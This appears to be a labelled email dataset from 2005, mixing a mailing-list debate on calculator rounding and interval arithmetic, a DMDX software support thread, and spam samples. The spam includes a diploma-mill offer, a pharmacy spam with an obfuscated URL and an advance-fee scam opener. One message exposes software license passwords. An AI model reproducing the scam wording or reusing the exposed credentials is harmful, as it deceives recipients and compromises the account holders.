2005 09:46:52 -0800 From: ""Paul Wilkinson, Ph. D."" Subject: FW: calculators To: SIGCSE-MEMBERS@LISTSERV.ACM.ORG I spent a long time teaching mathematics ... I have found that if you take the calculator away from the student, they cannot add, subtract, multiply, or divide, let alone doing fractions. An example that I have had arguments with students over is (2/3)^4 * (3/2)^4. The answer we all know is 1, but they argue their calculator says the answer is not one, but something, depending upon the calculator brand, like 1.00000001. ... From my observations, it appears as if all they know how to do is punch buttons when they get out of high school when calculators are used in the classroom. Paul J. Wilkinson, Ph. D. Chair Department of Information Systems and Computer Science Pasadena City College Pasadena, California ------------- End Forwarded Message -------------",0,0 Ray Moore ,"Vladik Kreinovich , reliable_computing@interval.louisiana.edu","Sat, 05 Feb 2005 13:07:33 -0500",Re: calculators,"No, I think the point is that we still need to teach kids mental arithmetic when it is that easy. Ray Moore ----- Original Message ----- From: ""Vladik Kreinovich"" To: Cc: Sent: Saturday, February 05, 2005 12:58 PM Subject: FW: calculators > Re need to teach kids (and adults) about accuracy and maybe intervals. And > maybe in favbor of interval calculators. > > ------------- Begin Forwarded Message ------------- > > Date: Sat, 5 Feb 2005 09:46:52 -0800 > From: ""Paul Wilkinson, Ph. D."" > Subject: FW: calculators > To: SIGCSE-MEMBERS@LISTSERV.ACM.ORG > > I spent a long time teaching > mathematics > ... > > I have found that if you take the calculator away from the student, > they cannot add, subtract, multiply, or divide, let alone doing fractions. > > An example that I have had arguments with students over is (2/3)^4 * > (3/2)^4. The answer we all know is 1, but they argue their calculator says > the answer is not one, but something, depending upon the calculator brand, > like 1.00000001. > > ... > > From my observations, it appears as if all they know how to do is punch > buttons when they get out of high school when calculators are used in the > classroom. > > Paul J. Wilkinson, Ph. D. > Chair > Department of Information Systems and Computer Science > Pasadena City College > Pasadena, California > > > ------------- End Forwarded Message ------------- > > >",0,0 Vladik Kreinovich ,"vladik@cs.utep.edu, reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Sat, 05 Feb 2005 11:16:58 -0700",Re: calculators,"Dear Ray, >From your reply, I realize that I did not make my point right. I agree with what you said, the need to teach mental arithmetic was the main point (and a valid point) of the posting, a point that I did not emphasize because it is of general interest, not specific to our interval area. What I wanted to say that is that on top of this point, adding uncertainty to calculators - whether in explanations in the class or explicitly in hardware -- would further help students. In the example given by Dr. Wilkinson, yes, mental arithmetic would help, but if they try square root of 2 then they need to know that the result is also not exact. >From the viewpoint of a kid, a weight measured by a scale is more accurate that a weight guessed by a human being; a velocity measured by a radar is more accurate than estimated visually. A natural kid's conclusion is that whatever calcuator produces shouldbe more accurate than what we do by hand. This is one of the sources of confusion. Honestly, when I balance by checkbook by hand, I trust myself less (and make mistakes more often) then if I use the corresponding software. Calculator is capable of correct (guaranteed) computations, but we need to program and modify it accordingly, or at least explain. I think the need felt by educators may be a good opportunity for us to educate people more in uncertainty issues. Vladik > From: ""Ray Moore"" > To: ""Vladik Kreinovich"" , > Cc: > Subject: Re: calculators > Date: Sat, 5 Feb 2005 13:07:33 -0500 > MIME-Version: 1.0 > Content-Transfer-Encoding: 7bit > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 > X-Virus-Scanned: Symantec AntiVirus Scan Engine > > No, I think the point is that we still need to teach kids mental arithmetic > when it is that easy. > > Ray Moore > > ----- Original Message ----- > From: ""Vladik Kreinovich"" > To: > Cc: > Sent: Saturday, February 05, 2005 12:58 PM > Subject: FW: calculators > > > > Re need to teach kids (and adults) about accuracy and maybe intervals. And > > maybe in favbor of interval calculators. > > > > ------------- Begin Forwarded Message ------------- > > > > Date: Sat, 5 Feb 2005 09:46:52 -0800 > > From: ""Paul Wilkinson, Ph. D."" > > Subject: FW: calculators > > To: SIGCSE-MEMBERS@LISTSERV.ACM.ORG > > > > I spent a long time teaching > > mathematics > > ... > > > > I have found that if you take the calculator away from the student, > > they cannot add, subtract, multiply, or divide, let alone doing fractions. > > > > An example that I have had arguments with students over is (2/3)^4 * > > (3/2)^4. The answer we all know is 1, but they argue their calculator says > > the answer is not one, but something, depending upon the calculator brand, > > like 1.00000001. > > > > ... > > > > From my observations, it appears as if all they know how to do is punch > > buttons when they get out of high school when calculators are used in the > > classroom. > > > > Paul J. Wilkinson, Ph. D. > > Chair > > Department of Information Systems and Computer Science > > Pasadena City College > > Pasadena, California > > > > > > ------------- End Forwarded Message ------------- > > > > > >",0,0 Tiffany Grace ,riedesel@cse.unl.edu,"Sat, 05 Feb 2005 08:33:40 -0500",Get it while you can,"Client Record #: 994898 Status: Non-Active Dear Sir/Madam; You status with our online-university is still non active. If you are still willing to become enrolled in our 2 week ""Life Experience"" degree program then we will need to know by Friday, May 19th. This program is equivalent to our 2-4 year degree programs. We realize that you have the experience and therefore would recommend that you enroll. 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Ray Moore ----- Original Message ----- From: ""Jeff Tupper"" To: Cc: Sent: Saturday, February 05, 2005 2:28 PM Subject: Re: calculators > Back in 2000, I worked (through my company) with Hewlett-Packard on > the Xpander calculator project. The calculator, which could have > introduced some interval concepts to a larger audience (I was > responsible for the reliable graphing portion), was cancelled---after > prototypes were built and demonstrated---as upper management at HP > unexpectedly decided to put nearly all calculator development on > hold. The large manufacturers have some interest in interval methods > but want to see demand for such methods from their customers. > > Jeff >",0,0 Ray Moore ,"Vladik Kreinovich , reliable_computing@interval.louisiana.edu","Sat, 05 Feb 2005 15:04:24 -0500",Re: calculators,"Vladik, > What I wanted to say that is that on top of this point, adding uncertainty > to > calculators - whether in explanations in the class or explicitly in > hardware -- > would further help students. HOW would it help them ? > In the example given by Dr. Wilkinson, yes, mental arithmetic would help, > but > if they try square root of 2 then they need to know that the result is > also not > exact. WHY would they ""need to know that the result is also not exact"" ? > From the viewpoint of a kid, a weight measured by a scale is more accurate > that > a weight guessed by a human being; a velocity measured by a radar is more > accurate than estimated visually. A natural kid's conclusion is that > whatever > calcuator produces shouldbe more accurate than what we do by hand. This is > one > of the sources of confusion. HOW does this cause confusion ? > Honestly, when I balance by checkbook by hand, I trust myself less (and > make > mistakes more often) then if I use the corresponding software. A pocket calculator is perfectly capable, if used correctly, and without any intervals, of balancing your checkbook correctly; and so you are by hand if you take the time. > Calculator is capable of correct (guaranteed) computations, but we need to > program and modify it accordingly, or at least explain. That is not necessary for just checkbook calculations. Better examples are needed to generate ""demand"" from prospective.customers. Ray Moore ",0,0 Vladik Kreinovich ,"vladik@cs.utep.edu, reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Sat, 05 Feb 2005 13:25:45 -0700",Re: calculators,"Dear Ray, Dear participants of the mailing list, I seem to be not in my clearest today, my apologies. Of course, I did not mean that interval calculators somehow help in balancing a checkbook. I apologize for creating this false impression. Let me try to state my case clearer. Let me describe a scenario how current calculators can cause confusion and how interval calculators can help. * First, a student balances a checkbook by hand and then again by using a calculator. In many such cases, the two results are somewhat different. So, the student checks again and again, and find the mistake in what he did by hand. This happens several times, with different examples. As a result, the student acquires the following rule: if a calculator produces one result and computations by hand produce a different result, then, most probably, a calculator is right and calculations by hand are wrong. * Now, a student computes the square root of 2 and then squares the resulting number. If he or she does it ""by hand"" (i.e., without using a calculator, in this case, by writing expressions on a sheet of paper, by using reasoning), this student should get the exact same value 2. The student is well aware that he sometimes makes mistakes. So, to be on the safe side, this students checks his or her result on the calculator. The result is not exactly 2, but something like 2.00000001. The student already knows, from earlier painful experience, that when the calculator and his manual results differ, there is a serious probability that the calculator is right. (Even when the results of, say, checkbook balancing were differing by 1 cent between what the student got by hand and what the student got by using a calculator, still the most usual case was a student's mistake, not the calculator's mistake.) This is where the student is confused: instead of trusting the results of his own work, he trusts the calculator instead, and this is a wrong occasion to trust the calculator: because with real numbers, calculators are only approximate devices. * How would an interval calculator help: to check the value 2 that the student got by arguing on a sheet of paper, the student runs the same computations on a calculator. As a result, the student gets an interval [1.99999999,2.000001] that clearly contains his result 2. So, instead of being confused (as with the traditional calculator), the student is reassured that his or her original sheet-of-paper calculations were correct. I hope I made my case clearer now. Vladik P.S. I agree that balancing a checkbook is not the right example for convincing the general audience, I am simply trying to explain why I forwarded the original email to the interval mailing list in the first place. > From: ""Ray Moore"" > To: ""Vladik Kreinovich"" , > Cc: > Subject: Re: calculators > Date: Sat, 5 Feb 2005 15:04:24 -0500 > MIME-Version: 1.0 > Content-Transfer-Encoding: 7bit > X-Priority: 3 > X-MSMail-Priority: Normal > X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 > X-Virus-Scanned: Symantec AntiVirus Scan Engine > > Vladik, > > > What I wanted to say that is that on top of this point, adding uncertainty > > to > > calculators - whether in explanations in the class or explicitly in > > hardware -- > > would further help students. > > HOW would it help them ? > > > In the example given by Dr. Wilkinson, yes, mental arithmetic would help, > > but > > if they try square root of 2 then they need to know that the result is > > also not > > exact. > > WHY would they ""need to know that the result is also not exact"" ? > > > From the viewpoint of a kid, a weight measured by a scale is more accurate > > that > > a weight guessed by a human being; a velocity measured by a radar is more > > accurate than estimated visually. A natural kid's conclusion is that > > whatever > > calcuator produces shouldbe more accurate than what we do by hand. This is > > one > > of the sources of confusion. > > HOW does this cause confusion ? > > > Honestly, when I balance by checkbook by hand, I trust myself less (and > > make > > mistakes more often) then if I use the corresponding software. > > A pocket calculator is perfectly capable, if used correctly, and without > any intervals, > of balancing your checkbook correctly; and so you are by hand if you > take the time. > > > Calculator is capable of correct (guaranteed) computations, but we need to > > program and modify it accordingly, or at least explain. > > That is not necessary for just checkbook calculations. Better examples > are needed > to generate ""demand"" from prospective.customers. > > Ray Moore",0,0 Vladik Kreinovich ,"vladik@cs.utep.edu, reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Sat, 05 Feb 2005 13:35:41 -0700",Re: calculators,"P.S. Same thing in the original example given by Dr. Wilkinson: if instead of 1.000001, students would see the interval [0.999999,1.00001] that clearly contain their own result 1, they would not perceive any discrepancy between what they did mentally and what the calculator did. On the other hand, with the existing calculator, when they get one result by thinking (1) and another result by using a calculator (1.000001), all they see is that there are two different results, so they are confused into thinking that one of these results is wrong. Of course, as Dr. Moore has absolutely correctly stated, the main point of Dr. Wilkinson's posting was that the students are unable to think about this problem at all. What I am saying is that even if they learn to think (but they are not 100% sure in themselves), and by thinking, they will come up with a correct result 1, they will still encounter potential confusion if they get a different number 1.000001 by using a calculator; this confusion will be elimintade (and thus, the students' progress improved) if the calculator, instead of providing the students with an approximate value with no guartantees of its accuracy, would istead provide them with a guiaranteed interval that is guaranteed to contain the actual result of the calculations. ",0,0 serge ,DMDX@psy1.psych.arizona.edu,"Sat, 05 Feb 2005 14:35:34 -0200",RE: Canada,"Hey bro, nice talking to you the other day.  Thought you would want to check this out, I got some for myself cause they were on sale, you should check out the site, I added the link below. Steel Package: 10 Patches reg $79.95 Now $49.95! Free shipping too!   Silver Package: 25 Patches reg $129.95, Now $99.95! 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But what I am doing is making one step forward. Let us consider the students who have learned how to think and how to do computations in their heads (and there are such students). For such students, I argue that interval calculator will be less confsuing than the existing one. This is what my argument was about. I hope that this (fifth?) time I have made my argument clearer. Vladik > User-Agent: Microsoft-Entourage/11.1.0.040913 > Date: Sat, 05 Feb 2005 13:25:51 -0800 > Subject: Re: calculators > From: ""Paul Wilkinson, Ph. D."" > To: Vladik Kreinovich , , > Mime-version: 1.0 > Content-transfer-encoding: 7bit > > Your example here of when a student sees that a calculator gives a different > answer than by doing the same task by hand, and then going on to rely on the > calculator's answer is how I have been able to get more change back from a > purchase than what it was supposed to be. For example, if the total was > $3.72 I have put down $4.02, and sometimes $4.22. The look on the people's > faces behind the counter when I do this is that of total confusion. They > then enter something into the ""machine"" and then give me what the ""machine"" > tells then to give me. On more than one occasion, even when pointing this > out to the store manager, I have been told that if the ""machine"" tells then > to give that amount of change, they have to give that change and that the > ""machine is always right."" One time, to see how far this perpetuated through > the organization, I called the district manager, and then the regional > manager. Both sent me complimentary food coupons for ""my troubles"" and > ""assured"" me that the ""machine is always right."" Finally, at a VP level, > things changed -- but they still sent me free coupons for ""my troubles and > honesty."" > > So, if even making change cannot be done correctly without a calculator, > which uses only two decimal digits and subtraction / addition, what good > would an interval calculator do to this people? > > (BTW The US Stock Exchange went to doing things in total decimal format > several years ago because it was ""more accurate."" I think the real reason > was that most new stock brokers could not do the fractions in their head, or > that most calculators of that time could not do fraction arithmetic. > Depending upon how many digits are used in the calculation, we are not > getting our full ""share"" of a stock purchase any more) > > > On 2/5/05 12:25 PM, ""Vladik Kreinovich"" wrote: > > > Dear Ray, Dear participants of the mailing list, > > > > I seem to be not in my clearest today, my apologies. > > > > Of course, I did not mean that interval calculators somehow help in balancing > > a > > checkbook. I apologize for creating this false impression. > > > > Let me try to state my case clearer. > > > > Let me describe a scenario how current calculators can cause confusion and how > > interval calculators can help. > > > > * First, a student balances a checkbook by hand and then again by using a > > calculator. In many such cases, the two results are somewhat different. > > > > So, the student checks again and again, and find the mistake in what he did by > > hand. > > > > This happens several times, with different examples. > > > > As a result, the student acquires the following rule: if a calculator produces > > one result and computations by hand produce a different result, then, most > > probably, a calculator is right and calculations by hand are wrong. > > > > * Now, a student computes the square root of 2 and then squares the resulting > > number. If he or she does it ""by hand"" (i.e., without using a calculator, in > > this case, by writing expressions on a sheet of paper, by using reasoning), > > this student should get the exact same value 2. > > > > The student is well aware that he sometimes makes mistakes. > > > > So, to be on the safe side, this students checks his or her result on the > > calculator. The result is not exactly 2, but something like 2.00000001. > > > > The student already knows, from earlier painful experience, that when the > > calculator and his manual results differ, there is a serious probability that > > the calculator is right. > > > > (Even when the results of, say, checkbook balancing were differing by 1 cent > > between what the student got by hand and what the student got by using a > > calculator, still the most usual case was a student's mistake, not the > > calculator's mistake.) > > > > This is where the student is confused: instead of trusting the results of his > > own work, he trusts the calculator instead, and this is a wrong occasion to > > trust the calculator: because with real numbers, calculators are only > > approximate devices. > > > > * How would an interval calculator help: to check the value 2 that the student > > got by arguing on a sheet of paper, the student runs the same computations on > > a > > calculator. As a result, the student gets an interval [1.99999999,2.000001] > > that clearly contains his result 2. > > > > So, instead of being confused (as with the traditional calculator), the > > student > > is reassured that his or her original sheet-of-paper calculations were > > correct. > > > > I hope I made my case clearer now. > > > > Vladik > > > > P.S. I agree that balancing a checkbook is not the right example for > > convincing > > the general audience, I am simply trying to explain why I forwarded the > > original email to the interval mailing list in the first place. > > > >> From: ""Ray Moore"" > >> To: ""Vladik Kreinovich"" , > > > >> Cc: > >> Subject: Re: calculators > >> Date: Sat, 5 Feb 2005 15:04:24 -0500 > >> MIME-Version: 1.0 > >> Content-Transfer-Encoding: 7bit > >> X-Priority: 3 > >> X-MSMail-Priority: Normal > >> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 > >> X-Virus-Scanned: Symantec AntiVirus Scan Engine > >> > >> Vladik, > >> > >>> What I wanted to say that is that on top of this point, adding uncertainty > >>> to > >>> calculators - whether in explanations in the class or explicitly in > >>> hardware -- > >>> would further help students. > >> > >> HOW would it help them ? > >> > >>> In the example given by Dr. Wilkinson, yes, mental arithmetic would help, > >>> but > >>> if they try square root of 2 then they need to know that the result is > >>> also not > >>> exact. > >> > >> WHY would they ""need to know that the result is also not exact"" ? > >> > >>> From the viewpoint of a kid, a weight measured by a scale is more accurate > >>> that > >>> a weight guessed by a human being; a velocity measured by a radar is more > >>> accurate than estimated visually. A natural kid's conclusion is that > >>> whatever > >>> calcuator produces shouldbe more accurate than what we do by hand. This is > >>> one > >>> of the sources of confusion. > >> > >> HOW does this cause confusion ? > >> > >>> Honestly, when I balance by checkbook by hand, I trust myself less (and > >>> make > >>> mistakes more often) then if I use the corresponding software. > >> > >> A pocket calculator is perfectly capable, if used correctly, and without > >> any intervals, > >> of balancing your checkbook correctly; and so you are by hand if you > >> take the time. > >> > >>> Calculator is capable of correct (guaranteed) computations, but we need to > >>> program and modify it accordingly, or at least explain. > >> > >> That is not necessary for just checkbook calculations. Better examples > >> are needed > >> to generate ""demand"" from prospective.customers. > >> > >> Ray Moore > > >",0,0 Caoilainn Borrego ,reliable_computing-outgoing@interval.louisiana.edu,"Sat, 05 Feb 2005 18:51:33 -0700",Re: AMyBtEN new,"Hi C i I u A a L f I f S h V t A i L y I j U s M g X b A m N a A x X p V k I u A i G x R t A x http://www.tesenistu.com reduce irreparabl latera protei squeeze when Tranquility Isle was bathed in alternating hot tropical colors, pockets of shadows constantly changing with each imperceptible descent of the orange sun. The resort complex of Tranquility Inn had seemingly been cut out of three adjacent rock-strewn hills above an elongated beach sandwiched between huge natural jetties of coral. Two rows of balconied pink villas with bright red roofs of terra-cotta extended from ",1,1 """Paul Wilkinson, Ph. D."" ","Vladik Kreinovich , reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Sat, 05 Feb 2005 23:50:43 -0800",Re: calculators,"I do understand your point.. But, I think, where we differ is where calculators should be used. The longer I am in higher education, the more I am becoming convinced that calculators should be removed from all levels of education below the collegiate level, and then used only in ""advanced"" classes where they are used as tools to assist. Examples of such classes would be organic chemistry, mechanics, optics, etc. Just as a side note, one of the courses that I taught when I was teaching mathematics on a part-time basis was a preparation course for the CBEST (California Basic Education Skills Test) for elementary and secondary school teachers. In California all elementary and secondary teachers, before getting their ""Clear Credential,"" must pass a state-administered test on basic skills (such as mathematics, writing, etc). Every individual that was in these classes already was a college graduate with the additional year of teacher preparation (and some had graduate degrees). All of them had great difficulty in doing the mathematics of the course without a calculator. The course content included addition, subtraction, multiplication, division, fractions, percentages (and conversion between fraction and percentage), and volume / area calculations. Several of the students had taken the CBEST at least once, and failed the mathematics portion. On 2/5/05 2:06 PM, ""Vladik Kreinovich"" wrote: > Dear Dr. Williamson, > > I agree (and have always agreed) with your main point: that if people cannot > think and cannot do the computations by hand, then they should learn how to do > it. I am NOT arguing against it. I am all for it. It was never my intent to > argue that students should not learn how to think or that they should not > learn > how to add by hand. They should, you are absolutely right. > > What I am making is another claim. > > But what I am doing is making one step forward. > > Let us consider the students who have learned how to think and how to do > computations in their heads (and there are such students). For such students, > I > argue that interval calculator will be less confsuing than the existing one. > > This is what my argument was about. > > I hope that this (fifth?) time I have made my argument clearer. > > Vladik > >> User-Agent: Microsoft-Entourage/11.1.0.040913 >> Date: Sat, 05 Feb 2005 13:25:51 -0800 >> Subject: Re: calculators >> From: ""Paul Wilkinson, Ph. D."" >> To: Vladik Kreinovich , > , >> Mime-version: 1.0 >> Content-transfer-encoding: 7bit >> >> Your example here of when a student sees that a calculator gives a different >> answer than by doing the same task by hand, and then going on to rely on the >> calculator's answer is how I have been able to get more change back from a >> purchase than what it was supposed to be. For example, if the total was >> $3.72 I have put down $4.02, and sometimes $4.22. The look on the people's >> faces behind the counter when I do this is that of total confusion. They >> then enter something into the ""machine"" and then give me what the ""machine"" >> tells then to give me. On more than one occasion, even when pointing this >> out to the store manager, I have been told that if the ""machine"" tells then >> to give that amount of change, they have to give that change and that the >> ""machine is always right."" One time, to see how far this perpetuated through >> the organization, I called the district manager, and then the regional >> manager. Both sent me complimentary food coupons for ""my troubles"" and >> ""assured"" me that the ""machine is always right."" Finally, at a VP level, >> things changed -- but they still sent me free coupons for ""my troubles and >> honesty."" >> >> So, if even making change cannot be done correctly without a calculator, >> which uses only two decimal digits and subtraction / addition, what good >> would an interval calculator do to this people? >> >> (BTW The US Stock Exchange went to doing things in total decimal format >> several years ago because it was ""more accurate."" I think the real reason >> was that most new stock brokers could not do the fractions in their head, or >> that most calculators of that time could not do fraction arithmetic. >> Depending upon how many digits are used in the calculation, we are not >> getting our full ""share"" of a stock purchase any more) >> >> >> On 2/5/05 12:25 PM, ""Vladik Kreinovich"" wrote: >> >>> Dear Ray, Dear participants of the mailing list, >>> >>> I seem to be not in my clearest today, my apologies. >>> >>> Of course, I did not mean that interval calculators somehow help in > balancing >>> a >>> checkbook. I apologize for creating this false impression. >>> >>> Let me try to state my case clearer. >>> >>> Let me describe a scenario how current calculators can cause confusion and > how >>> interval calculators can help. >>> >>> * First, a student balances a checkbook by hand and then again by using a >>> calculator. In many such cases, the two results are somewhat different. >>> >>> So, the student checks again and again, and find the mistake in what he did > by >>> hand. >>> >>> This happens several times, with different examples. >>> >>> As a result, the student acquires the following rule: if a calculator > produces >>> one result and computations by hand produce a different result, then, most >>> probably, a calculator is right and calculations by hand are wrong. >>> >>> * Now, a student computes the square root of 2 and then squares the > resulting >>> number. If he or she does it ""by hand"" (i.e., without using a calculator, > in >>> this case, by writing expressions on a sheet of paper, by using reasoning), >>> this student should get the exact same value 2. >>> >>> The student is well aware that he sometimes makes mistakes. >>> >>> So, to be on the safe side, this students checks his or her result on the >>> calculator. The result is not exactly 2, but something like 2.00000001. >>> >>> The student already knows, from earlier painful experience, that when the >>> calculator and his manual results differ, there is a serious probability > that >>> the calculator is right. >>> >>> (Even when the results of, say, checkbook balancing were differing by 1 > cent >>> between what the student got by hand and what the student got by using a >>> calculator, still the most usual case was a student's mistake, not the >>> calculator's mistake.) >>> >>> This is where the student is confused: instead of trusting the results of > his >>> own work, he trusts the calculator instead, and this is a wrong occasion to >>> trust the calculator: because with real numbers, calculators are only >>> approximate devices. >>> >>> * How would an interval calculator help: to check the value 2 that the > student >>> got by arguing on a sheet of paper, the student runs the same computations > on >>> a >>> calculator. As a result, the student gets an interval [1.99999999,2.000001] >>> that clearly contains his result 2. >>> >>> So, instead of being confused (as with the traditional calculator), the >>> student >>> is reassured that his or her original sheet-of-paper calculations were >>> correct. >>> >>> I hope I made my case clearer now. >>> >>> Vladik >>> >>> P.S. I agree that balancing a checkbook is not the right example for >>> convincing >>> the general audience, I am simply trying to explain why I forwarded the >>> original email to the interval mailing list in the first place. >>> >>>> From: ""Ray Moore"" >>>> To: ""Vladik Kreinovich"" , >>> >>>> Cc: >>>> Subject: Re: calculators >>>> Date: Sat, 5 Feb 2005 15:04:24 -0500 >>>> MIME-Version: 1.0 >>>> Content-Transfer-Encoding: 7bit >>>> X-Priority: 3 >>>> X-MSMail-Priority: Normal >>>> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180 >>>> X-Virus-Scanned: Symantec AntiVirus Scan Engine >>>> >>>> Vladik, >>>> >>>>> What I wanted to say that is that on top of this point, adding > uncertainty >>>>> to >>>>> calculators - whether in explanations in the class or explicitly in >>>>> hardware -- >>>>> would further help students. >>>> >>>> HOW would it help them ? >>>> >>>>> In the example given by Dr. Wilkinson, yes, mental arithmetic would help, >>>>> but >>>>> if they try square root of 2 then they need to know that the result is >>>>> also not >>>>> exact. >>>> >>>> WHY would they ""need to know that the result is also not exact"" ? >>>> >>>>> From the viewpoint of a kid, a weight measured by a scale is more > accurate >>>>> that >>>>> a weight guessed by a human being; a velocity measured by a radar is more >>>>> accurate than estimated visually. A natural kid's conclusion is that >>>>> whatever >>>>> calcuator produces shouldbe more accurate than what we do by hand. This > is >>>>> one >>>>> of the sources of confusion. >>>> >>>> HOW does this cause confusion ? >>>> >>>>> Honestly, when I balance by checkbook by hand, I trust myself less (and >>>>> make >>>>> mistakes more often) then if I use the corresponding software. >>>> >>>> A pocket calculator is perfectly capable, if used correctly, and > without >>>> any intervals, >>>> of balancing your checkbook correctly; and so you are by hand if you >>>> take the time. >>>> >>>>> Calculator is capable of correct (guaranteed) computations, but we need > to >>>>> program and modify it accordingly, or at least explain. >>>> >>>> That is not necessary for just checkbook calculations. Better examples >>>> are needed >>>> to generate ""demand"" from prospective.customers. >>>> >>>> Ray Moore >>> >> >",0,0 """R. Baker Kearfott"" ","Vladik Kreinovich , vladik@cs.utep.edu, reliable_computing@interval.louisiana.edu, rmoore17@columbus.rr.com","Sun, 06 Feb 2005 05:03:39 -0600",Re: calculators,"All, Yes, I see ""sloppy thinking"" frequently on students' papers in upper division undergraduate courses. For example, when a student is exhibiting a computation of the form (3+2) * 5 + 4, I might see the following on the paper: ""5 = 25 = 29"" I suspect this is at least partially a consequence of repeatedly pushing a button on a calculator that, although labelled ""="" actually has the functionality of ""accumulate partial result"". In my undergraduate numerical analysis course (as many on this list probably also teach), we teach roundoff error in introductory sessions. I assigned some problems from a text in which students were to do some floating point computations on a moderately sensitive polynomial, using a 3-digit ""toy"" system and first rounding, then chopping. Carefully reading the students' papers, about 70% missed it. Several came up to me beforehand, totally befuddled. I saw liberal use of the ""="" symbol, both as in my example above and as a substitute for ""approximately equal."" In 30 years of teaching this course, my impression is that this is the worst I have seen it. (However, several students DID get it. In fact, one did the assignment by producing an object-oriented class in Matlab that did decimal arithmetic to a prescribed number of places and with a prescribed rounding mode. However, amazingly, that student is apparently weak with other mathematical concepts.) Best regards, Baker At 01:35 PM 2/5/2005 -0700, Vladik Kreinovich wrote: >P.S. Same thing in the original example given by Dr. Wilkinson: if instead of >1.000001, students would see the interval [0.999999,1.00001] that clearly >contain their own result 1, they would not perceive any discrepancy between >what they did mentally and what the calculator did. > >On the other hand, with the existing calculator, when they get one result by >thinking (1) and another result by using a calculator (1.000001), all they see >is that there are two different results, so they are confused into thinking >that one of these results is wrong. > >Of course, as Dr. Moore has absolutely correctly stated, the main point of Dr. >Wilkinson's posting was that the students are unable to think about this >problem at all. > >What I am saying is that even if they learn to think (but they are not 100% >sure in themselves), and by thinking, they will come up with a correct result >1, they will still encounter potential confusion if they get a different >number 1.000001 by using a calculator; this confusion will be elimintade (and >thus, the students' progress improved) if the calculator, instead of providing >the students with an approximate value with no guartantees of its accuracy, >would istead provide them with a guiaranteed interval that is guaranteed to >contain the actual result of the calculations. > > > > --------------------------------------------------------------- R. Baker Kearfott, rbk@louisiana.edu (337) 482-5346 (fax) (337) 482-5270 (work) (337) 993-1827 (home) URL: http://interval.louisiana.edu/kearfott.html Department of Mathematics, University of Louisiana at Lafayette (Room 217 Maxim D. Doucet Hall, 1403 Johnston Street) Box 4-1010, Lafayette, LA 70504-1010, USA --------------------------------------------------------------- ",0,1 Ed Goldstein ,reliable_computing-outgoing@interval.louisiana.edu,"Sun, 06 Feb 2005 19:22:57 +0600",ȸ����! ����� �ڱݹ���! ���� ���̻� �������� ������!,"compatible doberman armful astronaut pearson metalwork what dyad preposition unbeknownst sundry mignon dehumidify highfalutin delight dobbs diophantine starling ",1,0 jp james ,jpjanse2003@yahoo.co.in,"Mon, 07 Feb 2005 06:45:10 +0000",BUSINESS PROPOSAL/RELATIONSHIP ,"MR JOHN PETER, TELE:0027;75060-733 No: 23 William Nicole Drive Fourways JOHANIESBURG SOUTH AFRICA. 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",1,1 Nicholas Riches ,DMDX@psy1.psych.arizona.edu,"Tue, 08 Feb 2005 13:52:27 +0000",[DMDX] Re: Query about unmapping buttons in the middle of a program,"Hi, The advice you gave me about unmapping buttons doesn't appear to be working. The line reads +11 * ""monkey"" ; I get an error message which says ""misplaced parameter keyword."" Do you know if there's any way around this? Many thanks Nick Riches ""j.c.f."" wrote: At 09:27 AM 2/1/2005 +0000, you wrote: >Hi > >I've made a program in which the Space key is mapped to the ABORT response >(I've done this because I'm using soundfiles, and I want the subject to be >able to move on to the next sound file at any stage). At various stages in >the program I'd like to unmap the Space key for a couple of lines, and >then remap it again to the ABORT response (this is because the subject >answers a yes / no question and I don't want them to accidentally abort). >I've used the command (umb for short), to do this (on >its own line, preceeded by a line number), but DMDX doesn't seem to like >at, and gives the error response (""misplaced keyword at beginning of >line""). Is it possible to unmap buttons in the middle of a program and >then remap them again? Yes, but the keywords have to be in the body of the item, not before it. You've probably got: +10 ""frame"" * ; +11 ""frame"" * ; You need: +10 ""frame"" * ; +11 ""frame"" * ; However you can't un-map the abort key name. You'll have to temporarily map some other key that has a much lower chance of being accidentally hit instead and then map the space bar back again. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ You stop believing in Santa Claus is when you start getting clothes for Christmas. ==================================================================== Send mail to DMDX-request@psy1.psych.arizona.edu with the word 'unsubscribe' by itself with no quotes in the body of the email to be removed from the list. The list archive is available here: http://psy1.psych.arizona.edu/cgi-bin/DMDX/thread ==================================================================== --------------------------------- ALL-NEW Yahoo! Messenger - all new features - even more fun!",0,1 """j.c.f."" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Feb 2005 07:43:50 -0700",[DMDX] Re: Query about unmapping buttons in the middle of a program,"At 01:52 PM 2/8/2005 +0000, you wrote: >Hi, > >The advice you gave me about unmapping buttons doesn't appear to be >working. The line reads > >+11 * ""monkey"" ; > >I get an error message which says ""misplaced parameter keyword."" > >Do you know if there's any way around this? Oh, must only be a parameter. I'll compile a new version later today. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ There's nothing wrong with being a self-made man if you don't consider the job finished too soon. - John Mooney",0,0 Kimberly Shaffer ,Tom Brikowski ,"Tue, 08 Feb 2005 09:58:02 -0700",re: Temporary passwords for WMS 7.1 in our teaching lab,"Tom:   Four WMS 7.1 passwords have been generated for University of Texas - Dallas/Brikowski,expires: 2  2006 and with the following modules enabled:Data, Drainage, Hydrology, Map, CE-QUAL-W2, HSPF security string: FgwFQpvirpassword: flwvufdhgrxiutowggms   security string: FgwFQpvbrpassword: fyjihsqutekvhgbjttzf security string: FgwFQpvTrpassword: fnyxwhfjitzkwvqyiiou security string: FgwFQpvirpassword: flwvufdhgrxiutowggms   Thanks! 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Forster"" ",DMDX@psy1.psych.arizona.edu,"Tue, 08 Feb 2005 14:07:30 -0700",[DMDX] DMDX 3.1.2.2,"Ok, so is now usable in the parameter line and the items and it can also be used with no key name to turn it off. I haven't tested this, there's a limit to what I'm prepared to do for nada. /""\\ -jonathan (j.c.f.) \\ / X ASCII RIBBON CAMPAIGN - AGAINST HTML MAIL / \\ Gauls! We have nothing to fear; except perhaps that the sky may fall on our heads tomorrow. But as we all know, tomorrow never comes!! - Adventures of Asterix.",0,0 Walter Bankovitch 